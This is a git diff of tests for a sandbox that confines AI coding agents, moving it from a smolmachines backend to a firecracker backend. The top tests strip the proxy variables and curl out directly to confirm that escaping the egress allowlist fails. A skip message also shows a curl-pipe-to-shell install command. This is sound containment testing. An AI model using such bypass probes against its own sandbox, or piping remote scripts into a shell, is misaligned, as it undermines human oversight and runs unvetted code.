"refused" in r.stdout.lower()
or "timed out" in r.stdout.lower()
or "unreachable" in r.stdout.lower()
or "failed" in r.stdout.lower(),
f"expected a connect-refusal message; got: {r.stdout!r}",
)
def test_egress_proxy_reachable_through_tsi_loopback_alias(self):
r = self.bottle.exec(
"printf '%s\n' \"$HTTPS_PROXY\" \"$HTTP_PROXY\""
)
self.assertEqual(0, r.returncode, msg=r.stderr)
proxies = [line.strip() for line in r.stdout.splitlines()]
self.assertEqual(2, len(proxies), proxies)
self.assertEqual(proxies[0], proxies[1], proxies)
# macOS: proxy binds to the per-bottle loopback alias (127.x.x.x) so
# TSI can intercept guest connections to it. Linux: the guest kernel
# routes 127.0.0.0/8 to its own loopback (TSI never sees those), so
# the proxy instead binds to the per-bottle bridge gateway (192.168.x.1)
# which routes via eth0 and is intercepted by TSI normally.
self.assertRegex(
proxies[0], r"^http://\d+\.\d+\.\d+\.\d+:\d+$",
"expected proxy URL to be an http://IP:port address",
)
r = self.bottle.exec(
"curl -fsS --max-time 20 https://example.com >/dev/null && echo OK"
)
self.assertEqual(0, r.returncode, msg=r.stderr + r.stdout)
self.assertIn("OK", r.stdout)
def test_direct_egress_bypass_without_proxy_fails(self):
r = self.bottle.exec(
"env -u HTTPS_PROXY -u HTTP_PROXY -u https_proxy -u http_proxy "
"curl -s --show-error --max-time 5 https://example.com 2>&1 || true"
)
self.assertTrue(
"refused" in r.stdout.lower()
or "timed out" in r.stdout.lower()
or "unreachable" in r.stdout.lower()
or "failed" in r.stdout.lower()
or "could not resolve" in r.stdout.lower()
or "connection reset" in r.stdout.lower(),
f"expected direct egress to fail; got: {r.stdout!r}",
)
def test_non_allowlisted_host_fails_through_proxy(self):
r = self.bottle.exec(
"curl -s --show-error --max-time 10 https://iana.org 2>&1 || true"
)
self.assertTrue(
"403" in r.stdout
or "502" in r.stdout
or "blocked" in r.stdout.lower()
or "not allowed" in r.stdout.lower()
or "not in the bottle's egress.routes allowlist" in r.stdout.lower()
or "forbidden" in r.stdout.lower()
or "failed" in r.stdout.lower(),
f"expected non-allowlisted proxy request to fail; got: {r.stdout!r}",
)
def test_prompt_file_lands_in_guest(self):
# provision_prompt copies the host-side prompt.txt into the
# guest at /home/node/.bot-bottle-prompt.txt. The content
# must match what the manifest declared so claude-code's
# --append-system-prompt-file reads the right text.
r = self.bottle.exec("cat /home/node/.bot-bottle-prompt.txt")
self.assertEqual(0, r.returncode, msg=r.stderr)
self.assertEqual(_AGENT_PROMPT, r.stdout.rstrip("\n"))
if __name__ == "__main__":
unittest.main()
@@ -1,64 +0,0 @@
"""Integration: PRD 0023 chunk 2b — smolvm subprocess wrapper
exercised against the real binary.
The full machine-lifecycle round trip (create start exec
delete) is gated behind macOS/Linux platform check and lives
in chunk 2d's smoke. This file just verifies `is_available()`
correctly reports presence and `_smolvm()` can run a no-op
subcommand without errors enough to flag wrapper drift if
smolvm's flag parser changes shape across versions."""
from __future__ import annotations
import os
import platform
import subprocess
import unittest
from bot_bottle.backend.smolmachines.smolvm import is_available
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: smolvm not installed on the runner",
)
@unittest.skipUnless(
platform.system() in ("Darwin", "Linux"),
"smolvm requires macOS or Linux",
)
@unittest.skipUnless(
is_available(),
"smolvm not on PATH; install via "
"curl -sSL https://smolmachines.com/install.sh | sh",
)
class TestSmolvmSmoke(unittest.TestCase):
def test_smolvm_help_responds(self):
# `smolvm --help` exits 0 (per `smolvm machine --help`
# convention) — verifies the binary launches and the
# top-level parser is intact.
r = subprocess.run(
["smolvm", "--help"],
capture_output=True, text=True, check=False,
)
# Either exit-code 0 (clean) or 1 (some CLIs return 1
# from --help by convention; smolvm 0.8.0 does this). The
# point is the binary runs and emits help text.
self.assertIn("smolvm", r.stdout)
self.assertIn("machine", r.stdout)
def test_machine_ls_empty_returns_json_array(self):
# `machine ls --json` is the contract chunk 4's
# list_active wires to. Lock in that the JSON shape is
# parseable now so chunk 4 doesn't surprise us.
import json
r = subprocess.run(
["smolvm", "machine", "ls", "--json"],
capture_output=True, text=True, check=False,
)
self.assertEqual(0, r.returncode, r.stderr)
parsed = json.loads(r.stdout)
self.assertIsInstance(parsed, list)
if __name__ == "__main__":
unittest.main()
+38 -18
View File
@@ -12,7 +12,7 @@ from bot_bottle.backend import ActiveAgent
from bot_bottle.backend.freeze import get_freezer
from bot_bottle.backend.docker.freezer import DockerFreezer
from bot_bottle.backend.macos_container.freezer import MacosContainerFreezer
from bot_bottle.backend.smolmachines.freezer import SmolmachinesFreezer
from bot_bottle.backend.firecracker.freezer import FirecrackerFreezer
class _FakeHomeMixin:
@@ -51,8 +51,8 @@ class TestGetFreezer(unittest.TestCase):
def test_macos_container(self):
self.assertIsInstance(get_freezer("macos-container"), MacosContainerFreezer)
def test_smolmachines(self):
self.assertIsInstance(get_freezer("smolmachines"), SmolmachinesFreezer)
def test_firecracker(self):
self.assertIsInstance(get_freezer("firecracker"), FirecrackerFreezer)
def test_unknown_backend_dies(self):
with patch("bot_bottle.backend.freeze.die", side_effect=SystemExit("die")):
@@ -176,39 +176,59 @@ class TestMacosContainerFreezer(_FakeHomeMixin, unittest.TestCase):
self.assertTrue(bottle_state.is_preserved(slug))
class TestSmolmachinesFreezer(_FakeHomeMixin, unittest.TestCase):
class TestFirecrackerFreezer(_FakeHomeMixin, unittest.TestCase):
def setUp(self):
self._setup_fake_home()
# The freezer resolves the running VM's SSH key + config from
# the per-bottle run dir under the firecracker cache; point that
# at a temp dir so we can stage a fake live bottle.
self._cache = tempfile.TemporaryDirectory(prefix="fc-freezer-cache.")
self._cache_patch = patch(
"bot_bottle.backend.firecracker.freezer.util.cache_dir",
return_value=Path(self._cache.name),
)
self._cache_patch.start()
def tearDown(self):
self._cache_patch.stop()
self._cache.cleanup()
self._teardown_fake_home()
def _write_meta(self, slug: str) -> None:
bottle_state.write_metadata(bottle_state.BottleMetadata(
identity=slug, agent_name="dev", cwd="", copy_cwd=False,
started_at="t", backend="smolmachines",
started_at="t", backend="firecracker",
))
def _stage_run_dir(self, slug: str, guest_ip: str = "100.64.0.1") -> None:
run_dir = Path(self._cache.name) / "run" / slug
run_dir.mkdir(parents=True)
(run_dir / "bottle_id_ed25519").write_text("KEY")
(run_dir / "config.json").write_text(
'{"boot-source": {"boot_args": '
f'"console=ttyS0 ip={guest_ip}::100.64.0.0:255.255.255.254::eth0:off"}}}}'
)
def test_snapshots_running_vm_without_stopping(self):
"""Commit should exec-tar the running VM, not stop it."""
"""Commit should tar the running guest rootfs over SSH, not stop it."""
slug = "dev-abc12"
self._write_meta(slug)
freezer = SmolmachinesFreezer()
agent = _make_agent(slug, "smolmachines")
self._stage_run_dir(slug)
freezer = FirecrackerFreezer()
agent = _make_agent(slug, "firecracker")
with patch("bot_bottle.backend.smolmachines.freezer._snapshot_running_vm") as mock_snap, \
with patch("bot_bottle.backend.firecracker.freezer._commit_via_ssh") as mock_commit, \
patch("bot_bottle.backend.freeze.info"), \
patch("bot_bottle.backend.smolmachines.freezer.info"):
patch("bot_bottle.backend.firecracker.freezer.info"):
freezer.commit(agent)
expected_binary = bottle_state.bottle_state_dir(slug) / "committed-smolmachine"
mock_snap.assert_called_once_with(
f"bot-bottle-{slug}",
f"bot-bottle-committed-{slug}:latest",
expected_binary,
)
expected_sidecar = str(expected_binary.with_suffix(".smolmachine"))
self.assertEqual(expected_sidecar, bottle_state.read_committed_image(slug))
image_tag = f"bot-bottle-committed-{slug}:latest"
self.assertEqual(1, mock_commit.call_count)
# (private_key, guest_ip, image_tag) — guest_ip parsed from config.
args = mock_commit.call_args.args
self.assertEqual("100.64.0.1", args[1])
self.assertEqual(image_tag, args[2])
self.assertEqual(image_tag, bottle_state.read_committed_image(slug))
self.assertTrue(bottle_state.is_preserved(slug))
+39 -44
View File
@@ -1,18 +1,18 @@
"""Cross-backend parity tests (PRD 0042).
Verifies that Docker and smolmachines bottles expose the same
Verifies that Docker and firecracker bottles expose the same
observable contracts for env injection, agent argv, and exec. Tests
use mock subprocess layers so no live VM or Docker daemon is needed.
The scenarios here document what must hold across both backends. As
PRDs 00380040 land these tests provide regression coverage for the
contracts they establish.
The scenarios here document what must hold across both backends and
provide regression coverage for those contracts.
"""
from __future__ import annotations
import subprocess
import unittest
from pathlib import Path
from typing import Callable
from unittest.mock import patch
@@ -31,10 +31,12 @@ def _docker_bottle(guest_env: dict[str, str]) -> "object":
)
def _smolmachines_bottle(guest_env: dict[str, str]) -> "object":
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
return SmolmachinesBottle(
def _firecracker_bottle(guest_env: dict[str, str]) -> "object":
from bot_bottle.backend.firecracker.bottle import FirecrackerBottle
return FirecrackerBottle(
"bot-bottle-test",
private_key=Path("/tmp/key"),
guest_ip="100.64.0.1",
guest_env=guest_env,
agent_command="claude",
)
@@ -43,7 +45,7 @@ def _smolmachines_bottle(guest_env: dict[str, str]) -> "object":
# One entry per backend: (label, factory).
_BACKENDS: list[tuple[str, Callable[[dict[str, str]], object]]] = [
("docker", _docker_bottle),
("smolmachines", _smolmachines_bottle),
("firecracker", _firecracker_bottle),
]
@@ -91,19 +93,16 @@ class TestAgentArgvParity(unittest.TestCase):
)
class TestSmolmachinesEnvInArgv(unittest.TestCase):
"""smolmachines bottle includes guest_env values in exec argv."""
class TestFirecrackerEnvInArgv(unittest.TestCase):
"""firecracker bottle includes guest_env values in the agent argv."""
def test_guest_env_in_exec_argv(self):
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
bottle = SmolmachinesBottle(
"bot-bottle-test",
guest_env={"TOKEN": "abc123", "PROXY": "http://proxy:8888"},
def test_guest_env_in_agent_argv(self):
bottle = _firecracker_bottle(
{"TOKEN": "abc123", "PROXY": "http://proxy:8888"},
)
argv = bottle.agent_argv([], tty=False)
joined = " ".join(argv)
self.assertIn("TOKEN=abc123", joined)
self.assertIn("PROXY=http://proxy:8888", joined)
argv = bottle.agent_argv([], tty=False) # type: ignore[union-attr]
self.assertIn("TOKEN=abc123", argv)
self.assertIn("PROXY=http://proxy:8888", argv)
# ---------------------------------------------------------------------------
@@ -129,17 +128,16 @@ class TestExecUserSwitching(unittest.TestCase):
self.assertIn("node", call_args,
"docker exec should use 'node' user by default")
def test_smolmachines_exec_uses_node_user_by_default(self):
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
bottle = SmolmachinesBottle("bot-bottle-test", guest_env={})
with patch("bot_bottle.backend.smolmachines.bottle.subprocess.run") as run:
def test_firecracker_exec_uses_node_user_by_default(self):
bottle = _firecracker_bottle({})
with patch("bot_bottle.backend.firecracker.bottle.subprocess.run") as run:
run.return_value = subprocess.CompletedProcess(
[], 0, stdout="", stderr="",
)
bottle.exec("echo hi")
call_args = run.call_args[0][0]
self.assertIn("node", call_args,
"smolvm exec should use 'node' user by default")
bottle.exec("echo hi") # type: ignore[union-attr]
call_args = " ".join(run.call_args[0][0])
self.assertIn("runuser -u node", call_args,
"firecracker exec should use 'node' user by default")
def test_docker_exec_respects_root_user(self):
from bot_bottle.backend.docker.bottle import DockerBottle
@@ -156,16 +154,15 @@ class TestExecUserSwitching(unittest.TestCase):
call_args = run.call_args[0][0]
self.assertIn("root", call_args)
def test_smolmachines_exec_respects_root_user(self):
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
bottle = SmolmachinesBottle("bot-bottle-test", guest_env={})
with patch("bot_bottle.backend.smolmachines.bottle.subprocess.run") as run:
def test_firecracker_exec_respects_root_user(self):
bottle = _firecracker_bottle({})
with patch("bot_bottle.backend.firecracker.bottle.subprocess.run") as run:
run.return_value = subprocess.CompletedProcess(
[], 0, stdout="", stderr="",
)
bottle.exec("id", user="root")
call_args = run.call_args[0][0]
self.assertIn("root", call_args)
bottle.exec("id", user="root") # type: ignore[union-attr]
call_args = " ".join(run.call_args[0][0])
self.assertIn("runuser -u root", call_args)
# ---------------------------------------------------------------------------
@@ -196,13 +193,12 @@ class TestExecResultParity(unittest.TestCase):
self.assertIsInstance(result.stdout, str)
self.assertIsInstance(result.stderr, str)
def test_smolmachines_exec_result_shape(self):
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
def test_firecracker_exec_result_shape(self):
from bot_bottle.backend import ExecResult
bottle = SmolmachinesBottle("bot-bottle-test", guest_env={})
with patch("bot_bottle.backend.smolmachines.bottle.subprocess.run",
bottle = _firecracker_bottle({})
with patch("bot_bottle.backend.firecracker.bottle.subprocess.run",
side_effect=self._stub_run):
result = bottle.exec("echo hi")
result = bottle.exec("echo hi") # type: ignore[union-attr]
self.assertIsInstance(result, ExecResult)
self.assertEqual(0, result.returncode)
self.assertIsInstance(result.stdout, str)
@@ -229,11 +225,10 @@ class TestCloseParity(unittest.TestCase):
# DockerBottle.close calls teardown — once per call is fine;
# what matters is it doesn't raise.
def test_smolmachines_close_is_noop(self):
from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle
bottle = SmolmachinesBottle("bot-bottle-test", guest_env={})
bottle.close()
bottle.close()
def test_firecracker_close_is_noop(self):
bottle = _firecracker_bottle({})
bottle.close() # type: ignore[union-attr]
bottle.close() # type: ignore[union-attr]
if __name__ == "__main__":
+9 -11
View File
@@ -17,7 +17,7 @@ from bot_bottle import supervise
from bot_bottle.backend import BottleSpec
from bot_bottle.backend.docker import DockerBottleBackend
from bot_bottle.backend.resolve_common import mint_slug
from bot_bottle.backend.smolmachines import SmolmachinesBottleBackend
from bot_bottle.backend.firecracker import FirecrackerBottleBackend
from bot_bottle.manifest import ManifestIndex
@@ -90,30 +90,28 @@ class TestDockerPrepare(_FakeStateMixin, unittest.TestCase):
self.assertNotIn("FORWARDED_ENV", plan.agent_provision.guest_env)
class TestSmolmachinesPrepare(_FakeStateMixin, unittest.TestCase):
class TestFirecrackerPrepare(_FakeStateMixin, unittest.TestCase):
def test_records_backend_and_builds_guest_env(self) -> None:
backend = SmolmachinesBottleBackend()
spec = _spec(Path(self.tmp.name), identity="demo-smol")
backend = FirecrackerBottleBackend()
spec = _spec(Path(self.tmp.name), identity="demo-fc")
with (
patch.dict("os.environ", {"HOST_SECRET_ENV": "secret-value"}),
patch(
"bot_bottle.backend.smolmachines.resolve_plan.smolmachines_preflight",
"bot_bottle.backend.firecracker.resolve_plan.util.require_firecracker",
) as preflight,
):
plan = backend.prepare(spec, Path(self.tmp.name) / "stage")
preflight.assert_called_once_with()
metadata = bottle_state.read_metadata("demo-smol")
metadata = bottle_state.read_metadata("demo-fc")
self.assertIsNotNone(metadata)
assert metadata is not None
self.assertEqual("smolmachines", metadata.backend)
self.assertEqual("literal-value", plan.guest_env["LITERAL_ENV"])
self.assertEqual("secret-value", plan.guest_env["FORWARDED_ENV"])
self.assertEqual("firecracker", metadata.backend)
self.assertEqual(
"/etc/ssl/certs/ca-certificates.crt",
plan.guest_env["SSL_CERT_FILE"],
"literal-value", plan.agent_provision.guest_env["LITERAL_ENV"],
)
self.assertEqual({"FORWARDED_ENV": "secret-value"}, plan.forwarded_env)
class TestMintSlug(unittest.TestCase):
+49 -22
View File
@@ -23,14 +23,14 @@ from bot_bottle.backend import (
class TestGetBottleBackend(unittest.TestCase):
def test_explicit_name_wins_over_env(self):
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}):
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "firecracker"}):
b = get_bottle_backend("docker")
self.assertEqual("docker", b.name)
def test_env_var_fallback(self):
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}):
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "firecracker"}):
b = get_bottle_backend()
self.assertEqual("smolmachines", b.name)
self.assertEqual("firecracker", b.name)
def test_default_macos_container_when_available(self):
class _FakeBackend:
@@ -42,12 +42,12 @@ class TestGetBottleBackend(unittest.TestCase):
with patch.dict(os.environ, {}, clear=True), \
patch.object(backend_mod, "_BACKENDS", {
"macos-container": _FakeBackend(),
"smolmachines": _FakeBackend(),
"docker": _FakeBackend(),
}):
b = get_bottle_backend()
self.assertEqual("macos-container", b.name)
def test_default_smolmachines_when_macos_container_unavailable(self):
def test_default_docker_when_no_macos_and_host_not_kvm(self):
class _FakeBackend:
def __init__(self, name: str, available: bool) -> None:
self.name = name
@@ -56,13 +56,40 @@ class TestGetBottleBackend(unittest.TestCase):
def is_available(self) -> bool:
return self._available
# No macOS container and the host can't run firecracker (no
# KVM / not Linux) → docker is the last resort.
with patch.dict(os.environ, {}, clear=True), \
patch.object(backend_mod.FirecrackerBottleBackend,
"is_host_capable", classmethod(lambda cls: False)), \
patch.object(backend_mod, "_BACKENDS", {
"macos-container": _FakeBackend("macos-container", False),
"smolmachines": _FakeBackend("smolmachines", False),
"docker": _FakeBackend("docker", True),
}):
b = get_bottle_backend()
self.assertEqual("smolmachines", b.name)
self.assertEqual("docker", b.name)
def test_default_firecracker_on_kvm_host_even_when_binary_missing(self):
class _FakeBackend:
def __init__(self, name: str, available: bool) -> None:
self.name = name
self._available = available
def is_available(self) -> bool:
return self._available
# A KVM-capable Linux host defaults to firecracker even when the
# binary isn't installed (is_available False) — start then prints
# the install pointer instead of falling back to docker.
with patch.dict(os.environ, {}, clear=True), \
patch.object(backend_mod.FirecrackerBottleBackend,
"is_host_capable", classmethod(lambda cls: True)), \
patch.object(backend_mod, "_BACKENDS", {
"macos-container": _FakeBackend("macos-container", False),
"firecracker": _FakeBackend("firecracker", False),
"docker": _FakeBackend("docker", True),
}):
b = get_bottle_backend()
self.assertEqual("firecracker", b.name)
def test_unknown_dies(self):
with patch.object(backend_mod, "die", side_effect=SystemExit("die")):
@@ -73,7 +100,7 @@ class TestGetBottleBackend(unittest.TestCase):
class TestKnownBackendNames(unittest.TestCase):
def test_returns_backends_sorted(self):
self.assertEqual(
("docker", "macos-container", "smolmachines"),
("docker", "firecracker", "macos-container"),
known_backend_names(),
)
@@ -81,8 +108,8 @@ class TestKnownBackendNames(unittest.TestCase):
class TestEnumerateActiveAgents(unittest.TestCase):
"""Combines each backend's `enumerate_active`. Each backend's
implementation has its own tests (`test_docker_enumerate_active`,
`test_smolmachines_*`); this just asserts the aggregator stitches
them together."""
`test_firecracker_backend`); this just asserts the aggregator
stitches them together."""
def test_concatenates_per_backend(self):
a = ActiveAgent(
@@ -90,7 +117,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
started_at="", services=("egress",),
)
b = ActiveAgent(
backend_name="smolmachines", slug="b-2", agent_name="research",
backend_name="firecracker", slug="b-2", agent_name="research",
started_at="", services=(),
)
@@ -107,7 +134,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
with patch.object(
backend_mod, "_BACKENDS",
{"docker": _FakeBackend([a]), "smolmachines": _FakeBackend([b])},
{"docker": _FakeBackend([a]), "firecracker": _FakeBackend([b])},
):
self.assertEqual([a, b], enumerate_active_agents())
@@ -121,11 +148,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
started_at="2026-06-02T11:00:00Z", services=(),
)
missing_metadata = ActiveAgent(
backend_name="smolmachines", slug="missing-metadata",
backend_name="firecracker", slug="missing-metadata",
agent_name="?", started_at="", services=(),
)
tie_a = ActiveAgent(
backend_name="smolmachines", slug="a-slug", agent_name="research",
backend_name="firecracker", slug="a-slug", agent_name="research",
started_at="2026-06-02T11:00:00Z", services=(),
)
@@ -143,7 +170,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
backend_mod, "_BACKENDS",
{
"docker": _FakeBackend([newer, tie_b]),
"smolmachines": _FakeBackend([missing_metadata, tie_a]),
"firecracker": _FakeBackend([missing_metadata, tie_a]),
},
):
self.assertEqual(
@@ -161,21 +188,21 @@ class TestEnumerateActiveAgents(unittest.TestCase):
with patch.object(
backend_mod, "_BACKENDS",
{"docker": _FakeBackend(), "smolmachines": _FakeBackend()},
{"docker": _FakeBackend(), "firecracker": _FakeBackend()},
):
self.assertEqual([], enumerate_active_agents())
def test_skips_unavailable_backends(self):
# If a backend's runtime isn't installed (smolvm missing on
# a docker-only host, or docker missing on a smolmachines-
# only host), the cross-backend enumerator skips it rather
# than dying — `has_backend` gates the iteration.
# If a backend's runtime isn't installed (docker missing on a
# firecracker host, or KVM missing on a docker-only host), the
# cross-backend enumerator skips it rather than dying —
# `has_backend` gates the iteration.
present = ActiveAgent(
backend_name="docker", slug="a-1", agent_name="impl",
started_at="", services=(),
)
hidden = ActiveAgent(
backend_name="smolmachines", slug="x", agent_name="x",
backend_name="firecracker", slug="x", agent_name="x",
started_at="", services=(),
)
@@ -194,7 +221,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
backend_mod, "_BACKENDS",
{
"docker": _FakeBackend([present], available=True),
"smolmachines": _FakeBackend([hidden], available=False),
"firecracker": _FakeBackend([hidden], available=False),
},
):
self.assertEqual([present], enumerate_active_agents())
+320
View File
@@ -0,0 +1,320 @@
"""Unit: `backend {setup,status,teardown}` across the three backends.
Exercises the branch matrix NixOS vs systemd vs neither, root vs
non-root, missing binary/daemon/service so the generic host-setup
paths are covered without a real host. All output is captured; the point
is the control flow + return codes, not the prose.
"""
from __future__ import annotations
import contextlib
import io
import subprocess
import unittest
from typing import Callable
from unittest.mock import MagicMock, patch
from bot_bottle.backend.docker import setup as dk
from bot_bottle.backend.firecracker import netpool
from bot_bottle.backend.firecracker import setup as fc
from bot_bottle.backend.macos_container import setup as mc
def _cap(fn: Callable[[], int | None]) -> tuple[int | None, str]:
buf = io.StringIO()
with contextlib.redirect_stdout(buf), contextlib.redirect_stderr(buf):
rc = fn()
return rc, buf.getvalue()
def _ok(stdout: str = "") -> "subprocess.CompletedProcess[str]":
return subprocess.CompletedProcess([], 0, stdout=stdout, stderr="")
# --- firecracker ----------------------------------------------------
class TestFirecrackerPrereqs(unittest.TestCase):
def test_binary_found_and_kvm(self):
with patch.object(fc.shutil, "which", return_value="/usr/bin/firecracker"), \
patch.object(fc.util, "is_host_capable", return_value=True):
_, out = _cap(fc._print_prereqs)
self.assertIn("firecracker binary: found", out)
self.assertIn("KVM: /dev/kvm present", out)
def test_binary_missing_and_no_kvm(self):
with patch.object(fc.shutil, "which", return_value=None), \
patch.object(fc.util, "is_host_capable", return_value=False):
_, out = _cap(fc._print_prereqs)
self.assertIn("NOT found on PATH", out)
self.assertIn("KVM: /dev/kvm missing", out)
class TestFirecrackerSetup(unittest.TestCase):
def setUp(self):
self._p = [
patch.object(fc, "_print_prereqs", lambda: None),
patch.object(fc, "_warn_overlaps", lambda: None),
]
for p in self._p:
p.start()
self.addCleanup(lambda: [p.stop() for p in self._p])
def test_nixos_prints_module_import(self):
with patch.object(fc, "_is_nixos", return_value=True):
rc, out = _cap(fc.setup)
self.assertEqual(0, rc)
self.assertIn("nixosModules.firecracker-netpool", out)
self.assertIn("NON-INVASIVE", out)
def test_systemd_root_installs_unit(self):
unit = MagicMock()
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.os, "geteuid", return_value=0), \
patch.object(fc, "_UNIT_PATH", unit), \
patch.object(fc.subprocess, "run", return_value=_ok()):
rc, out = _cap(fc.setup)
self.assertEqual(0, rc)
unit.write_text.assert_called_once()
self.assertIn("Installed and started", out)
def test_systemd_root_enable_failure(self):
unit = MagicMock()
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.os, "geteuid", return_value=0), \
patch.object(fc, "_UNIT_PATH", unit), \
patch.object(fc.subprocess, "run",
side_effect=[_ok(), subprocess.CompletedProcess([], 1)]):
rc, out = _cap(fc.setup)
self.assertEqual(0, rc)
self.assertIn("enable --now` failed", out)
def test_systemd_nonroot_prints_block(self):
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.os, "geteuid", return_value=1000):
rc, out = _cap(fc.setup)
self.assertEqual(0, rc)
self.assertIn("sudo tee", out)
self.assertIn("systemctl enable --now", out)
def test_no_systemd_prints_shell(self):
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=False):
rc, out = _cap(fc.setup)
self.assertEqual(0, rc)
self.assertIn("firecracker-netpool.sh up", out)
class TestFirecrackerWarnOverlaps(unittest.TestCase):
def test_emits_on_conflict(self):
conflict = netpool.RouteConflict(dst="10.243.0.0/24", dev="eth0")
with patch.object(fc.netpool, "overlapping_routes", return_value=[conflict]):
_, out = _cap(fc._warn_overlaps)
self.assertIn("overlaps existing routes", out)
def test_silent_when_clear(self):
with patch.object(fc.netpool, "overlapping_routes", return_value=[]):
_, out = _cap(fc._warn_overlaps)
self.assertEqual("", out)
class TestFirecrackerTeardown(unittest.TestCase):
def test_nixos(self):
with patch.object(fc, "_is_nixos", return_value=True):
rc, out = _cap(fc.teardown)
self.assertEqual(0, rc)
self.assertIn("enable = false", out)
def test_systemd_root_removes_unit(self):
unit = MagicMock()
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.os, "geteuid", return_value=0), \
patch.object(fc, "_UNIT_PATH", unit), \
patch.object(fc.subprocess, "run", return_value=_ok()):
rc, out = _cap(fc.teardown)
self.assertEqual(0, rc)
unit.unlink.assert_called_once()
self.assertIn("removed", out)
def test_systemd_nonroot_prints(self):
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.os, "geteuid", return_value=1000):
rc, out = _cap(fc.teardown)
self.assertEqual(0, rc)
self.assertIn("systemctl disable", out)
def test_no_systemd(self):
with patch.object(fc, "_is_nixos", return_value=False), \
patch.object(fc, "_has_systemd", return_value=False):
rc, out = _cap(fc.teardown)
self.assertEqual(0, rc)
self.assertIn("firecracker-netpool.sh down", out)
class TestFirecrackerPersistence(unittest.TestCase):
def test_active(self):
with patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.subprocess, "run", return_value=_ok("active\n")):
_, out = _cap(fc._report_persistence)
self.assertIn("active (survives reboot)", out)
def test_inactive(self):
with patch.object(fc, "_has_systemd", return_value=True), \
patch.object(fc.subprocess, "run", return_value=_ok("inactive\n")):
_, out = _cap(fc._report_persistence)
self.assertIn("not installed as a persistent unit", out)
def test_no_systemd_is_noop(self):
with patch.object(fc, "_has_systemd", return_value=False):
_, out = _cap(fc._report_persistence)
self.assertEqual("", out)
class TestFirecrackerHostDetect(unittest.TestCase):
def test_is_nixos_via_etc_nixos(self):
with patch.object(fc.Path, "exists", return_value=True):
self.assertTrue(fc._is_nixos())
def test_has_systemd(self):
with patch.object(fc.Path, "is_dir", return_value=True):
self.assertTrue(fc._has_systemd())
# --- docker ---------------------------------------------------------
class TestDockerSetupStatus(unittest.TestCase):
def test_setup_daemon_unreachable(self):
with patch.object(dk.shutil, "which", return_value="/usr/bin/docker"), \
patch.object(dk, "_daemon_reachable", return_value=False):
rc, out = _cap(dk.setup)
self.assertEqual(1, rc)
self.assertIn("daemon isn't reachable", out)
def test_setup_ok_with_runsc_note(self):
with patch.object(dk.shutil, "which", return_value="/usr/bin/docker"), \
patch.object(dk, "_daemon_reachable", return_value=True), \
patch.object(dk._util, "runsc_available", return_value=False):
rc, out = _cap(dk.setup)
self.assertEqual(0, rc)
self.assertIn("gVisor", out)
def test_status_all_ok(self):
with patch.object(dk.shutil, "which", return_value="/usr/bin/docker"), \
patch.object(dk, "_daemon_reachable", return_value=True), \
patch.object(dk._util, "runsc_available", return_value=True):
rc, out = _cap(dk.status)
self.assertEqual(0, rc)
self.assertIn("registered", out)
def test_daemon_reachable_false_without_docker(self):
with patch.object(dk.shutil, "which", return_value=None):
self.assertFalse(dk._daemon_reachable())
def test_status_reports_missing_docker(self):
with patch.object(dk.shutil, "which", return_value=None):
rc, out = _cap(dk.status)
self.assertEqual(1, rc)
self.assertIn("docker on PATH: NO", out)
def test_setup_missing_docker_prints_install(self):
with patch.object(dk.shutil, "which", return_value=None):
rc, out = _cap(dk.setup)
self.assertEqual(1, rc)
self.assertIn("docker.com", out)
class TestNetpoolSpanConflict(unittest.TestCase):
def test_pool_span_bounds(self):
with patch.dict("os.environ", {"BOT_BOTTLE_FC_IP_BASE": "10.243.0.0",
"BOT_BOTTLE_FC_POOL_SIZE": "8"}):
lo, hi = netpool._pool_span()
# base .. base + 2*8 - 1 (16 addresses)
self.assertEqual(15, hi - lo)
def test_route_conflict_fields(self):
c = netpool.RouteConflict(dst="10.243.0.0/24", dev="eth0")
self.assertEqual("10.243.0.0/24", c.dst)
self.assertEqual("eth0", c.dev)
# --- macos-container ------------------------------------------------
class TestMacosSetupStatus(unittest.TestCase):
def test_setup_not_macos(self):
with patch.object(mc._container, "is_macos", return_value=False):
rc, out = _cap(mc.setup)
self.assertEqual(1, rc)
self.assertIn("requires macOS", out)
def test_setup_no_cli(self):
with patch.object(mc._container, "is_macos", return_value=True), \
patch.object(mc.shutil, "which", return_value=None):
rc, out = _cap(mc.setup)
self.assertEqual(1, rc)
self.assertIn("not found on PATH", out)
def test_setup_service_not_running(self):
with patch.object(mc._container, "is_macos", return_value=True), \
patch.object(mc.shutil, "which", return_value="/usr/bin/container"), \
patch.object(mc, "_service_running", return_value=False):
rc, out = _cap(mc.setup)
self.assertEqual(1, rc)
self.assertIn("system start", out)
def test_setup_ready(self):
with patch.object(mc._container, "is_macos", return_value=True), \
patch.object(mc.shutil, "which", return_value="/usr/bin/container"), \
patch.object(mc, "_service_running", return_value=True):
rc, out = _cap(mc.setup)
self.assertEqual(0, rc)
self.assertIn("ready", out)
def test_status_all_ok(self):
with patch.object(mc._container, "is_macos", return_value=True), \
patch.object(mc.shutil, "which", return_value="/usr/bin/container"), \
patch.object(mc, "_service_running", return_value=True):
